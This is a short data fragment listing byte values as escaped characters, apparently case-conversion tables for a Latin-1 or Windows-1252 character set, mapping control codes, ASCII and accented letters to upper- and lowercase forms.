¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿu